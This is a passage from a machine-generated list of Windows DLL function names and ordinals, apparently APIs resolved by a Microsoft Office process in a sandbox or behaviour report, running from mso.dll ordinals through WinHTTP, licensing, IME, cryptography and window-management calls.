  3073. "d3d10warp.dll.D3DKMTQueryResourceInfo",
  3074. "d3d10warp.dll.D3DKMTOpenResource",
  3075. "d3d10warp.dll.D3DKMTDestroyAllocation",
  3076. "d3d10warp.dll.D3DKMTSetAllocationPriority",
  3077. "d3d10warp.dll.D3DKMTQueryAllocationResidency",
  3078. "d3d10warp.dll.D3DKMTCreateDevice",
  3079. "d3d10warp.dll.D3DKMTDestroyDevice",
  3080. "d3d10warp.dll.D3DKMTGetRuntimeData",
  3081. "d3d10warp.dll.D3DKMTLock",
  3082. "d3d10warp.dll.D3DKMTUnlock",
  3083. "d3d10warp.dll.D3DKMTGetMultisampleMethodList",
  3084. "d3d10warp.dll.D3DKMTPresent",
  3085. "d3d10warp.dll.D3DKMTRender",
  3086. "d3d10warp.dll.D3DKMTGetSharedPrimaryHandle",
  3087. "d3d10warp.dll.D3DKMTEscape",
  3088. "d3d10warp.dll.D3DKMTSetContextSchedulingPriority",
  3089. "d3d10warp.dll.D3DKMTGetContextSchedulingPriority",
  3090. "d3d10warp.dll.D3DKMTCreateContext",
  3091. "d3d10warp.dll.D3DKMTDestroyContext",
  3092. "d3d10warp.dll.D3DKMTCreateSynchronizationObject",
  3093. "d3d10warp.dll.D3DKMTDestroySynchronizationObject",
  3094. "d3d10warp.dll.D3DKMTWaitForSynchronizationObject",
  3095. "d3d10warp.dll.D3DKMTSignalSynchronizationObject",
  3096. "d3d10warp.dll.D3DKMTSetDisplayPrivateDriverFormat",
  3097. "d3d10warp.dll.OpenAdapter10_2",
  3098. "d3d10_1core.dll.D3D10CoreRegisterLayers",
  3099. "d3d10warp.dll.#50",
  3100. "mso.dll.#7766",
  3101. "advapi32.dll.EventProviderEnabled",
  3102. "windowscodecs.dll.WICCreateImagingFactory_Proxy",
  3103. "dwrite.dll.DWriteCreateFactory",
  3104. "mso.dll.#7355",
  3105. "mso.dll.#9571",
  3106. "mso.dll.#3351",
  3107. "mso.dll.#5634",
  3108. "user32.dll.GetPropW",
  3109. "user32.dll.SetPropW",
  3110. "mso.dll.#4485",
  3111. "mso.dll.#5330",
  3112. "mso.dll.#907",
  3113. "mso.dll.#6563",
  3114. "mso.dll.#4688",
  3115. "mso.dll.#2401",
  3116. "mso.dll.#8412",
  3117. "mscoree.dll.GetRequestedRuntimeInfo",
  3118. "mscoree.dll.LockClrVersion",
  3119. "mscoree.dll.CLRCreateInstance",
  3120. "gdiplus.dll.GdiplusStartup",
  3121. "user32.dll.EnumDisplayMonitors",
  3122. "user32.dll.EnumDisplayDevicesA",
  3123. "user32.dll.RegisterClassA",
  3124. "advapi32.dll.CredEnumerateW",
  3125. "user32.dll.CreateWindowExA",
  3126. "user32.dll.DefWindowProcA",
  3127. "user32.dll.AddClipboardFormatListener",
  3128. "user32.dll.PostMessageA",
  3129. "user32.dll.IsWindowUnicode",
  3130. "advapi32.dll.EqualSid",
  3131. "advapi32.dll.RegQueryInfoKeyA",
  3132. "ole32.dll.OleLoadFromStream",
  3133. "oleaut32.dll.SysAllocStringByteLen",
  3134. "oleaut32.dll.SysFreeString",
  3135. "oleaut32.dll.VariantChangeType",
  3136. "shell32.dll.SHParseDisplayName",
  3137. "user32.dll.GetWindowTextW",
  3138. "user32.dll.GetFocus",
  3139. "gdi32.dll.CreateBitmap",
  3140. "gdi32.dll.CreatePatternBrush",
  3141. "advapi32.dll.RevertToSelf",
  3142. "ws2_32.dll.#115",
  3143. "ole32.dll.CoSetProxyBlanket",
  3144. "gdi32.dll.GdiFlush",
  3145. "riched20.dll.REMSOHInst",
  3146. "user32.dll.RegisterRawInputDevices",
  3147. "riched20.dll.REExtendedRegisterClass",
  3148. "user32.dll.SetTimer",
  3149. "user32.dll.SetWindowsHookExW",
  3150. "user32.dll.WaitForInputIdle",
  3151. "mso.dll.#4628",
  3152. "mso.dll.#4138",
  3153. "mso.dll.#9826",
  3154. "mso.dll.#913",
  3155. "mso.dll.#7629",
  3156. "mso.dll.#1796",
  3157. "mso.dll.#4418",
  3158. "normaliz.dll.IdnToAscii",
  3159. "winhttp.dll.WinHttpOpen",
  3160. "mso.dll.#7499",
  3161. "mso.dll.#3801",
  3162. "mso.dll.#2029",
  3163. "mso.dll.#5478",
  3164. "mso.dll.#6115",
  3165. "mso.dll.#2117",
  3166. "mso.dll.#3552",
  3167. "mso.dll.#1513",
  3168. "winhttp.dll.WinHttpSetOption",
  3169. "winhttp.dll.WinHttpSetTimeouts",
  3170. "osppc.dll.SLClose",
  3171. "osppc.dll.SLConsumeRight",
  3172. "osppc.dll.SLGetPKeyId",
  3173. "osppc.dll.SLGetPolicyInformation",
  3174. "winhttp.dll.WinHttpConnect",
  3175. "osppc.dll.SLGetApplicationPolicy",
  3176. "osppc.dll.SLGetLicensingStatusInformation",
  3177. "osppc.dll.SLLoadApplicationPolicies",
  3178. "osppc.dll.SLOpen",
  3179. "osppc.dll.SLPersistApplicationPolicies",
  3180. "osppc.dll.SLUnloadApplicationPolicies",
  3181. "osppc.dll.SLGetProductSkuInformation",
  3182. "osppc.dll.SLInstallProofOfPurchase",
  3183. "osppc.dll.SLInstallLicense",
  3184. "osppc.dll.SLRegisterPlugin",
  3185. "osppc.dll.SLUninstallProofOfPurchase",
  3186. "osppc.dll.SLGetPKeyInformation",
  3187. "osppc.dll.SLGetSLIDList",
  3188. "osppc.dll.SLGenerateOfflineInstallationId",
  3189. "osppc.dll.SLDepositOfflineConfirmationId",
  3190. "osppc.dll.SLPersistRTSPayloadOverride",
  3191. "osppc.dll.SLSetAuthenticationData",
  3192. "osppc.dll.SLGetAuthenticationResult",
  3193. "osppc.dll.SLGetServiceInformation",
  3194. "osppc.dll.SLGetInstalledProductKeyIds",
  3195. "osppc.dll.SLUninstallLicense",
  3196. "winhttp.dll.WinHttpOpenRequest",
  3197. "winhttp.dll.WinHttpSetStatusCallback",
  3198. "winhttp.dll.WinHttpAddRequestHeaders",
  3199. "shlwapi.dll.#153",
  3200. "winhttp.dll.WinHttpSendRequest",
  3201. "ws2_32.dll.GetAddrInfoW",
  3202. "mso.dll.#1332",
  3203. "mso.dll.#6876",
  3204. "mso.dll.#160",
  3205. "mso.dll.#3800",
  3206. "mso.dll.#717",
  3207. "mso.dll.#5454",
  3208. "mso.dll.#2249",
  3209. "mso.dll.#595",
  3210. "mso.dll.#2112",
  3211. "mso.dll.#2492",
  3212. "mso.dll.#7412",
  3213. "mso.dll.#7727",
  3214. "mso.dll.#4470",
  3215. "mso.dll.#8666",
  3216. "mso.dll.#4361",
  3217. "mso.dll.#7275",
  3218. "mso.dll.#5538",
  3219. "mso.dll.#2543",
  3220. "mso.dll.#7992",
  3221. "user32.dll.PostMessageW",
  3222. "user32.dll.GetWindowTextLengthA",
  3223. "user32.dll.SendMessageA",
  3224. "user32.dll.GetClassLongA",
  3225. "user32.dll.CopyIcon",
  3226. "user32.dll.GetIconInfo",
  3227. "user32.dll.GetActiveWindow",
  3228. "user32.dll.GetWindowPlacement",
  3229. "user32.dll.GetSystemMenu",
  3230. "user32.dll.IsMenu",
  3231. "user32.dll.MonitorFromWindow",
  3232. "user32.dll.EnableMenuItem",
  3233. "dwmapi.dll.DwmSetWindowAttribute",
  3234. "user32.dll.GetClassInfoExW",
  3235. "user32.dll.CallNextHookEx",
  3236. "comctl32.dll.SetWindowSubclass",
  3237. "comctl32.dll.DefSubclassProc",
  3238. "user32.dll.KillTimer",
  3239. "comctl32.dll.RemoveWindowSubclass",
  3240. "user32.dll.DestroyWindow",
  3241. "user32.dll.SetWindowPos",
  3242. "mso.dll.#1876",
  3243. "mso.dll.#4369",
  3244. "mso.dll.#2561",
  3245. "mso.dll.#8343",
  3246. "mso.dll.#5440",
  3247. "winspool.drv.#203",
  3248. "user32.dll.VkKeyScanExW",
  3249. "mso.dll.#2179",
  3250. "mso.dll.#9751",
  3251. "mso.dll.#4481",
  3252. "mso.dll.#3726",
  3253. "mso.dll.#9663",
  3254. "mso.dll.#8093",
  3255. "user32.dll.GetClassLongW",
  3256. "mso.dll.#3599",
  3257. "user32.dll.GetClassNameW",
  3258. "mso.dll.#4994",
  3259. "mso.dll.#2660",
  3260. "shell32.dll.DragAcceptFiles",
  3261. "mso.dll.#1158",
  3262. "mso.dll.#2814",
  3263. "mso.dll.#3177",
  3264. "mso.dll.#1437",
  3265. "mso.dll.#4892",
  3266. "mso.dll.#1836",
  3267. "mso.dll.#6439",
  3268. "mso.dll.#6859",
  3269. "mso.dll.#5188",
  3270. "mso.dll.#9736",
  3271. "mso.dll.#7736",
  3272. "mso.dll.#6394",
  3273. "mso.dll.#9234",
  3274. "mso.dll.#3001",
  3275. "mso.dll.#379",
  3276. "mso.dll.#6184",
  3277. "gdi32.dll.EnumFontFamiliesExW",
  3278. "mso.dll.#7639",
  3279. "mso.dll.#2271",
  3280. "mso.dll.#5377",
  3281. "mso.dll.#5686",
  3282. "mso.dll.#8400",
  3283. "mso.dll.#7361",
  3284. "mso.dll.#248",
  3285. "mso.dll.#8985",
  3286. "mso.dll.#4450",
  3287. "mso.dll.#3276",
  3288. "mso.dll.#4020",
  3289. "gdi32.dll.GetTextCharsetInfo",
  3290. "user32.dll.IsIconic",
  3291. "user32.dll.GetClientRect",
  3292. "user32.dll.EqualRect",
  3293. "mso.dll.#7883",
  3294. "mso.dll.#7955",
  3295. "mso.dll.#6482",
  3296. "mso.dll.#4067",
  3297. "user32.dll.ClientToScreen",
  3298. "imm32.dll.ImmAssociateContext",
  3299. "imm32.dll.ImmConfigureIMEA",
  3300. "imm32.dll.ImmCreateContext",
  3301. "imm32.dll.ImmDestroyContext",
  3302. "imm32.dll.ImmEscapeA",
  3303. "imm32.dll.ImmGetCandidateWindow",
  3304. "imm32.dll.ImmGetCompositionFontA",
  3305. "imm32.dll.ImmGetCompositionStringA",
  3306. "imm32.dll.ImmGetCompositionWindow",
  3307. "imm32.dll.ImmGetContext",
  3308. "imm32.dll.ImmGetConversionStatus",
  3309. "imm32.dll.ImmGetDefaultIMEWnd",
  3310. "imm32.dll.ImmGetDescriptionA",
  3311. "imm32.dll.ImmGetIMEFileNameA",
  3312. "imm32.dll.ImmGetOpenStatus",
  3313. "imm32.dll.ImmGetProperty",
  3314. "imm32.dll.ImmGetVirtualKey",
  3315. "imm32.dll.ImmIsIME",
  3316. "imm32.dll.ImmIsUIMessageA",
  3317. "imm32.dll.ImmNotifyIME",
  3318. "imm32.dll.ImmRegisterWordA",
  3319. "imm32.dll.ImmReleaseContext",
  3320. "imm32.dll.ImmSetCandidateWindow",
  3321. "imm32.dll.ImmSetCompositionFontA",
  3322. "imm32.dll.ImmSetCompositionStringA",
  3323. "imm32.dll.ImmSetCompositionWindow",
  3324. "imm32.dll.ImmSetConversionStatus",
  3325. "imm32.dll.ImmSetOpenStatus",
  3326. "imm32.dll.ImmSetStatusWindowPos",
  3327. "imm32.dll.ImmConfigureIMEW",
  3328. "imm32.dll.ImmEscapeW",
  3329. "imm32.dll.ImmGetCompositionFontW",
  3330. "imm32.dll.ImmGetCompositionStringW",
  3331. "imm32.dll.ImmGetDescriptionW",
  3332. "imm32.dll.ImmGetIMEFileNameW",
  3333. "imm32.dll.ImmIsUIMessageW",
  3334. "imm32.dll.ImmRegisterWordW",
  3335. "imm32.dll.ImmSetCompositionFontW",
  3336. "imm32.dll.ImmSetCompositionStringW",
  3337. "user32.dll.SetClassLongW",
  3338. "user32.dll.LoadBitmapA",
  3339. "gdi32.dll.GetObjectA",
  3340. "user32.dll.CallWindowProcW",
  3341. "user32.dll.GetParent",
  3342. "mso.dll.#8841",
  3343. "mso.dll.#682",
  3344. "mso.dll.#490",
  3345. "mso.dll.#9071",
  3346. "mso.dll.#7595",
  3347. "user32.dll.GetKeyboardState",
  3348. "user32.dll.SetWindowsHookExA",
  3349. "mso.dll.#6660",
  3350. "mso.dll.#5013",
  3351. "mso.dll.#1075",
  3352. "mso.dll.#2157",
  3353. "mso.dll.#888",
  3354. "mso.dll.#5472",
  3355. "mso.dll.#5863",
  3356. "shell32.dll.SHGetDesktopFolder",
  3357. "version.dll.GetFileVersionInfoSizeA",
  3358. "version.dll.GetFileVersionInfoA",
  3359. "version.dll.VerQueryValueA",
  3360. "advapi32.dll.RegEnumKeyA",
  3361. "shell32.dll.SHGetSpecialFolderLocation",
  3362. "shell32.dll.#25",
  3363. "shell32.dll.#16",
  3364. "shell32.dll.SHGetPathFromIDListW",
  3365. "shell32.dll.#152",
  3366. "shell32.dll.#18",
  3367. "ws2_32.dll.#2",
  3368. "ws2_32.dll.#21",
  3369. "ws2_32.dll.#9",
  3370. "ws2_32.dll.FreeAddrInfoW",
  3371. "shell32.dll.#17",
  3372. "mso.dll.#94",
  3373. "mso.dll.#3260",
  3374. "mso.dll.#8369",
  3375. "ws2_32.dll.#6",
  3376. "ws2_32.dll.#5",
  3377. "schannel.dll.SpUserModeInitialize",
  3378. "ws2_32.dll.WSASend",
  3379. "ws2_32.dll.WSARecv",
  3380. "mso.dll.#2766",
  3381. "mso.dll.#5892",
  3382. "mso.dll.#826",
  3383. "mso.dll.#3047",
  3384. "mso.dll.#4179",
  3385. "mso.dll.#2011",
  3386. "mso.dll.#6664",
  3387. "mso.dll.#8007",
  3388. "mso.dll.#2637",
  3389. "mso.dll.#2938",
  3390. "msi.dll.#82",
  3391. "mso.dll.#7488",
  3392. "mso.dll.#2824",
  3393. "mso.dll.#1176",
  3394. "mso.dll.#5965",
  3395. "mso.dll.#5087",
  3396. "mso.dll.#7974",
  3397. "mso.dll.#469",
  3398. "mso.dll.#2609",
  3399. "mso.dll.#6452",
  3400. "mso.dll.#1774",
  3401. "mso.dll.#4872",
  3402. "mso.dll.#4653",
  3403. "oleaut32.dll.#4",
  3404. "oleaut32.dll.#12",
  3405. "kernel32.dll.NlsGetCacheUpdateCount",
  3406. "mso.dll.#6873",
  3407. "mso.dll.#3834",
  3408. "mso.dll.#7825",
  3409. "mso.dll.#1242",
  3410. "mso.dll.#4239",
  3411. "mso.dll.#4575",
  3412. "mso.dll.#2231",
  3413. "mso.dll.#332",
  3414. "mso.dll.#1953",
  3415. "mso.dll.#1499",
  3416. "mso.dll.#3449",
  3417. "mso.dll.#6468",
  3418. "mso.dll.#3820",
  3419. "mso.dll.#153",
  3420. "mso.dll.#2031",
  3421. "mso.dll.#6598",
  3422. "mso.dll.#3320",
  3423. "mso.dll.#1747",
  3424. "mso.dll.#4413",
  3425. "mso.dll.#3972",
  3426. "mso.dll.#7849",
  3427. "mso.dll.#10",
  3428. "mso.dll.#9031",
  3429. "mso.dll.#4562",
  3430. "mso.dll.#5767",
  3431. "mso.dll.#1780",
  3432. "mso.dll.#6949",
  3433. "mso.dll.#5457",
  3434. "mso.dll.#1454",
  3435. "mso.dll.#531",
  3436. "mso.dll.#5986",
  3437. "mso.dll.#6767",
  3438. "mso.dll.#5810",
  3439. "mso.dll.#8020",
  3440. "mso.dll.#6427",
  3441. "mso.dll.#7857",
  3442. "mso.dll.#1209",
  3443. "mso.dll.#792",
  3444. "mso.dll.#6491",
  3445. "mso.dll.#6759",
  3446. "mso.dll.#5061",
  3447. "mso.dll.#4153",
  3448. "mso.dll.#3084",
  3449. "mso.dll.#1281",
  3450. "mso.dll.#782",
  3451. "mso.dll.#1864",
  3452. "mso.dll.#2933",
  3453. "shell32.dll.SHGetSpecialFolderPathW",
  3454. "secur32.dll.FreeContextBuffer",
  3455. "mso.dll.#8053",
  3456. "ncrypt.dll.SslOpenProvider",
  3457. "user32.dll.GetCursorPos",
  3458. "user32.dll.WindowFromPoint",
  3459. "user32.dll.ScreenToClient",
  3460. "mso.dll.#1338",
  3461. "advapi32.dll.RegDeleteValueA",
  3462. "ncrypt.dll.GetSChannelInterface",
  3463. "mso.dll.#3023",
  3464. "mso.dll.#2013",
  3465. "user32.dll.BeginDeferWindowPos",
  3466. "user32.dll.SetParent",
  3467. "bcryptprimitives.dll.GetHashInterface",
  3468. "user32.dll.SetWindowTextA",
  3469. "user32.dll.DeferWindowPos",
  3470. "user32.dll.EndDeferWindowPos",
  3471. "ncrypt.dll.SslIncrementProviderReferenceCount",
  3472. "ncrypt.dll.SslImportKey",
  3473. "bcryptprimitives.dll.GetCipherInterface",
  3474. "ncrypt.dll.SslLookupCipherSuiteInfo",
  3475. "user32.dll.RedrawWindow",
  3476. "user32.dll.SetRectEmpty",
  3477. "user32.dll.LoadStringW",
  3478. "ncrypt.dll.BCryptOpenAlgorithmProvider",
  3479. "ncrypt.dll.BCryptGetProperty",
  3480. "ncrypt.dll.BCryptCreateHash",
  3481. "ncrypt.dll.BCryptHashData",
  3482. "ncrypt.dll.BCryptFinishHash",
  3483. "ncrypt.dll.BCryptDestroyHash",
  3484. "crypt32.dll.CertGetCertificateChain",
  3485. "userenv.dll.GetUserProfileDirectoryW",
  3486. "mso.dll.#4920",
  3487. "mso.dll.#9657",
  3488. "sechost.dll.ConvertStringSidToSidW",
  3489. "mso.dll.#1777",
  3490. "mso.dll.#7758",
  3491. "mso.dll.#7037",
  3492. "mso.dll.#6983",
  3493. "mso.dll.#2819",
  3494. "mso.dll.#5745",
  3495. "mso.dll.#4902",
  3496. "mso.dll.#9591",
  3497. "mso.dll.#7299",
  3498. "mso.dll.#6964",
  3499. "mso.dll.#5031",
  3500. "mso.dll.#4769",
  3501. "mso.dll.#4002",
  3502. "mso.dll.#2567",
  3503. "mso.dll.#7796",
  3504. "mso.dll.#8733",
  3505. "mso.dll.#6351",
  3506. "mso.dll.#5432",
  3507. "mso.dll.#3429",
  3508. "mso.dll.#9587",
  3509. "mso.dll.#7416",
  3510. "mso.dll.#8547",
  3511. "mso.dll.#7536",
  3512. "mso.dll.#8593",
  3513. "mso.dll.#8176",
  3514. "mso.dll.#9296",
  3515. "mso.dll.#4114",
  3516. "mso.dll.#6401",
  3517. "mso.dll.#1153",
  3518. "mso.dll.#3222",
  3519. "mso.dll.#4184",
  3520. "mso.dll.#3705",
  3521. "mso.dll.#2286",
  3522. "mso.dll.#8392",
  3523. "mso.dll.#6313",
  3524. "mso.dll.#5607",
  3525. "mso.dll.#4447",
  3526. "mso.dll.#7523",
  3527. "mso.dll.#5383",
  3528. "mso.dll.#4770",
  3529. "mso.dll.#7745",
  3530. "mso.dll.#4881",
  3531. "mso.dll.#6257",
  3532. "mso.dll.#5248",
  3533. "mso.dll.#8967",
  3534. "mso.dll.#4402",
  3535. "mso.dll.#9824",
  3536. "mso.dll.#8750",
  3537. "mso.dll.#2827",
  3538. "user32.dll.GetKeyState",
  3539. "mso.dll.#1164",
  3540. "mso.dll.#2631",
  3541. "mso.dll.#6097",
  3542. "mso.dll.#9055",
  3543. "mso.dll.#8194",
  3544. "mso.dll.#8628",
  3545. "mso.dll.#7522",
  3546. "mso.dll.#7937",
  3547. "mso.dll.#6697",
  3548. "mso.dll.#5834",
  3549. "mso.dll.#7453",
  3550. "mso.dll.#9693",
  3551. "mso.dll.#1159",
  3552. "mso.dll.#8782",
  3553. "mso.dll.#7720",
  3554. "mso.dll.#4062",
  3555. "mso.dll.#8339",
  3556. "mso.dll.#4492",
  3557. "mso.dll.#571",
  3558. "mso.dll.#8916",
  3559. "mso.dll.#752",
  3560. "mso.dll.#1572",
  3561. "mso.dll.#171",
  3562. "mso.dll.#718",
  3563. "mso.dll.#6220",
  3564. "mso.dll.#1745",
  3565. "userenv.dll.RegisterGPNotification",
  3566. "gpapi.dll.RegisterGPNotificationInternal",
  3567. "sechost.dll.QueryServiceConfigW",
  3568. "user32.dll.MapWindowPoints",
  3569. "user32.dll.MonitorFromPoint",
  3570. "user32.dll.CharUpperW",
  3571. "gdi32.dll.SetMapMode",
  3572. "gdi32.dll.CreateDIBitmap",
  3573. "user32.dll.GetMessageTime",
  3574. "user32.dll.AdjustWindowRectEx",
  3575. "cryptsp.dll.CryptVerifySignatureA",
  3576. "user32.dll.IsZoomed",
  3577. "bcryptprimitives.dll.GetAsymmetricEncryptionInterface",
  3578. "ncrypt.dll.BCryptImportKeyPair",
  3579. "ncrypt.dll.BCryptVerifySignature",
  3580. "ncrypt.dll.BCryptDestroyKey",
  3581. "crypt32.dll.CertVerifyCertificateChainPolicy",
  3582. "crypt32.dll.CertFreeCertificateChain",
  3583. "crypt32.dll.CertDuplicateCertificateContext",
  3584. "ncrypt.dll.SslEncryptPacket",
  3585. "mso.dll.#6216",
  3586. "mso.dll.#5405",
  3587. "mso.dll.#8301",
  3588. "user32.dll.IsChild",
  3589. "user32.dll.BringWindowToTop",
  3590. "mso.dll.#8573",
  3591. "mso.dll.#8117",
  3592. "mso.dll.#7904",
  3593. "user32.dll.ChangeWindowMessageFilterEx",
  3594. "mso.dll.#5600",
  3595. "mso.dll.#5496",
  3596. "user32.dll.SetFocus",
  3597. "mso.dll.#6443",
  3598. "user32.dll.SetForegroundWindow",
  3599. "mso.dll.#8831",
  3600. "mso.dll.#1512",
  3601. "mso.dll.#1491",
  3602. "mso.dll.#6192",
  3603. "mso.dll.#893",
  3604. "mso.dll.#8756",
  3605. "mso.dll.#3059",
  3606. "mso.dll.#9829",
  3607. "mso.dll.#2861",
  3608. "mso.dll.#1719",
  3609. "mso.dll.#2474",
  3610. "mso.dll.#4763",
  3611. "mso.dll.#986",
  3612. "mso.dll.#466",
  3613. "mso.dll.#4572",
  3614. "mso.dll.#6031",
  3615. "mso.dll.#886",
  3616. "mso.dll.#2279",
  3617. "mso.dll.#7826",
  3618. "mso.dll.#971",
  3619. "mso.dll.#9218",
  3620. "mso.dll.#9342",
  3621. "mso.dll.#1443",
  3622. "mso.dll.#9214",
  3623. "mso.dll.#199",
  3624. "mso.dll.#1073",
  3625. "mso.dll.#4255",
  3626. "ncrypt.dll.SslDecryptPacket",
  3627. "winhttp.dll.WinHttpReceiveResponse",
  3628. "winhttp.dll.WinHttpQueryHeaders",
  3629. "winhttp.dll.WinHttpQueryDataAvailable",
  3630. "winhttp.dll.WinHttpReadData",
  3631. "mso.dll.#3459",
  3632. "webservices.dll.WsCreateError",
  3633. "mso.dll.#1262",
  3634. "mso.dll.#5709",
  3635. "ntdll.dll.EtwEventWrite",
  3636. "ntdll.dll.EtwEventRegister",
  3637. "ntdll.dll.EtwEventUnregister",
  3638. "webservices.dll.WsCreateHeap",
  3639. "webservices.dll.WsCreateReader",
  3640. "webservices.dll.WsSetInput",
  3641. "mso.dll.#7353",
  3642. "mso.dll.#5228",
  3643. "webservices.dll.WsFillReader",
  3644. "webservices.dll.WsReadToStartElement",
  3645. "webservices.dll.WsReadStartElement",
  3646. "webservices.dll.WsReadType",
  3647. "mso.dll.#2155",
  3648. "winhttp.dll.WinHttpCloseHandle",
  3649. "crypt32.dll.CertFreeCertificateContext",
  3650. "webservices.dll.WsFreeReader",
  3651. "webservices.dll.WsFreeError",
  3652. "webservices.dll.WsFreeHeap",
  3653. "webservices.dll.WsCreateServiceProxyFromTemplate",
  3654. "winhttp.dll.WinHttpCrackUrl",
  3655. "winhttp.dll.WinHttpWriteData",
  3656. "winhttp.dll.WinHttpSetCredentials",
  3657. "winhttp.dll.WinHttpQueryAuthSchemes",
  3658. "winhttp.dll.WinHttpGetProxyForUrl",
  3659. "winhttp.dll.WinHttpQueryOption",
  3660. "webservices.dll.WsOpenServiceProxy",
  3661. "mso.dll.#25",
  3662. "mso.dll.#1056",
  3663. "mso.dll.#8136",
  3664. "mso.dll.#8931",
  3665. "shell32.dll.SHGetFileInfoW",
  3666. "webservices.dll.WsCall",
  3667. "mso.dll.#5362",
  3668. "mso.dll.#6044",
  3669. "mso.dll.#6516",
  3670. "webservices.dll.WsAddCustomHeader",
  3671. "mso.dll.#6221",
  3672. "mso.dll.#5780",
  3673. "mso.dll.#4870",
  3674. "mso.dll.#6046",
  3675. "shlwapi.dll.StrStrA",
  3676. "shlwapi.dll.UrlUnescapeA",
  3677. "mso.dll.#1241",
  3678. "mso.dll.#2821",
  3679. "mso.dll.#2340",
  3680. "mso.dll.#7287",
  3681. "mso.dll.#5290",
  3682. "mso.dll.#1508",
  3683. "mso.dll.#821",
  3684. "mso.dll.#2378",
  3685. "user32.dll.AdjustWindowRect",
  3686. "mso.dll.#5912",
  3687. "mso.dll.#9719",
  3688. "mso.dll.#8824",
  3689. "mso.dll.#6117",
  3690. "mso.dll.#3307",
  3691. "user32.dll.DestroyIcon",
  3692. "mso.dll.#3813",
  3693. "mso.dll.#1815",
  3694. "user32.dll.PtInRect",
  3695. "mso.dll.#1613",
  3696. "user32.dll.SetWindowTextW",
  3697. "mso.dll.#8572",
  3698. "gdi32.dll.GetViewportOrgEx",
  3699. "gdi32.dll.SetViewportOrgEx",
  3700. "gdi32.dll.SetBkColor",
  3701. "gdi32.dll.ExtTextOutA",
  3702. "mso.dll.#1573",
  3703. "mso.dll.#8612",
  3704. "user32.dll.SetScrollRange",
  3705. "mso.dll.#2509",
  3706. "user32.dll.EnumChildWindows",
  3707. "user32.dll.GetScrollInfo",
  3708. "msptls.dll.?FsCreatePageFinite@Ptls6@@YGJPAUfscontext@1@PBUfsbreakrecpage@1@PAUfsnameclient@1@PAU_fsfmtr@1@PAPAUfspage@1@PAPAU31@@Z",
  3709. "msptls.dll.?FsTransformRectangle@Ptls6@@YGJKPBUtagFSRECT@1@0KPAU21@@Z",
  3710. "mso.dll.#6126",
  3711. "msptls.dll.?LsCreateLine@Ptls6@@YGJPAUlscontext@1@PAUlsparaclient@1@PBUlspap@1@JPBUlslinerestr@1@PBUlsbreakrecline@1@PAPAU61@PAUlslinfo@1@PAPAVCLsLine@1@@Z",
  3712. "gdi32.dll.GetFontRealizationInfo",
  3713. "gdi32.dll.GetFontFileInfo",
  3714. "gdi32.dll.GetFontFileData",
  3715. "mso.dll.#7261",
  3716. "mso.dll.#9540",
  3717. "usp10.dll.ScriptGetFontScriptTags",
  3718. "usp10.dll.ScriptGetFontLanguageTags",
  3719. "usp10.dll.ScriptGetFontFeatureTags",
  3720. "msptls.dll.?LsQueryLineVisibilityWord@Ptls6@@YGJPAVCLsLine@1@PAJPAH@Z",
  3721. "msptls.dll.?LsQueryLineMaxDepth@Ptls6@@YGJPAVCLsLine@1@PAJ@Z",
  3722. "msptls.dll.?LsModifyLineHeight@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@JJJJ@Z",
  3723. "msptls.dll.?FsQueryPageDetails@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@PAUfspagedetails@1@@Z",
  3724. "msptls.dll.?FsQueryPageSectionList@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@JPAUfssectiondescription@1@PAJ@Z",
  3725. "msptls.dll.?FsQuerySectionDetails@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@PAUfssectiondetails@1@@Z",
  3726. "msptls.dll.?FsQuerySectionCompositeColumnList@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@JPAUfscompositecolumndescription@1@PAJ@Z",
  3727. "msptls.dll.?FsQueryCompositeColumnDetails@Ptls6@@YGJPAUfscontext@1@PBUfscompositecolumn@1@PAUfscompositecolumndetails@1@@Z",
  3728. "msptls.dll.?FsQueryTrackDetails@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@PAUfstrackdetails@1@@Z",
  3729. "msptls.dll.?FsQueryTrackParaList@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@JPAUfsparadescription@1@PAJ@Z",
  3730. "msptls.dll.?FsQueryTextDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfstextdetails@1@@Z",
  3731. "msptls.dll.?FsQueryLineListComposite@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfslinedescriptioncomposite@1@PAJ@Z",
  3732. "msptls.dll.?FsQueryLineCompositeElementList@Ptls6@@YGJPAUfscontext@1@PBUfsline@1@JPAUfslineelement@1@PAJ@Z",
  3733. "msptls.dll.?LsDestroyLine@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@@Z",
  3734. "msptls.dll.?FsDestroyPage@Ptls6@@YGJPAUfscontext@1@PAUfspage@1@@Z",
  3735. "msptls.dll.?FsDestroyContext@Ptls6@@YGJPAUfscontext@1@@Z",
  3736. "user32.dll.InflateRect",
  3737. "mso.dll.#1100",
  3738. "mso.dll.#7047",
  3739. "msptls.dll.?LsQueryLineDup@Ptls6@@YGJPAVCLsLine@1@PAUlslinearea@1@@Z",
  3740. "user32.dll.GetCursor",
  3741. "user32.dll.SetScrollInfo",
  3742. "user32.dll.SetScrollPos",
  3743. "mso.dll.#3747",
  3744. "mso.dll.#8218",
  3745. "mso.dll.#5394",
  3746. "mso.dll.#331",
  3747. "mso.dll.#6829",
  3748. "mso.dll.#539",
  3749. "mso.dll.#4959",
  3750. "mso.dll.#6463",
  3751. "mso.dll.#4987",
  3752. "mso.dll.#7195",
  3753. "mso.dll.#7573",
  3754. "mso.dll.#445",
  3755. "user32.dll.GetCaretBlinkTime",
  3756. "user32.dll.CreateCaret",
  3757. "msptls.dll.?LsQueryLineCpPpoint@Ptls6@@YGJPAVCLsLine@1@JJPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  3758. "user32.dll.DestroyCaret",
  3759. "user32.dll.GetCaretPos",
  3760. "user32.dll.SetCaretPos",
  3761. "mso.dll.#5932",
  3762. "mso.dll.#2071",
  3763. "mso.dll.#1024",
  3764. "mso.dll.#6245",
  3765. "mso.dll.#9041",
  3766. "mso.dll.#1767",
  3767. "mso.dll.#9369",
  3768. "mso.dll.#4617",
  3769. "user32.dll.FillRect",
  3770. "mso.dll.#343",
  3771. "mso.dll.#9636",
  3772. "mso.dll.#2022",
  3773. "mso.dll.#4750",
  3774. "mso.dll.#4577",
  3775. "mso.dll.#850",
  3776. "mso.dll.#1776",
  3777. "mso.dll.#9026",
  3778. "mso.dll.#4497",
  3779. "mso.dll.#4647",
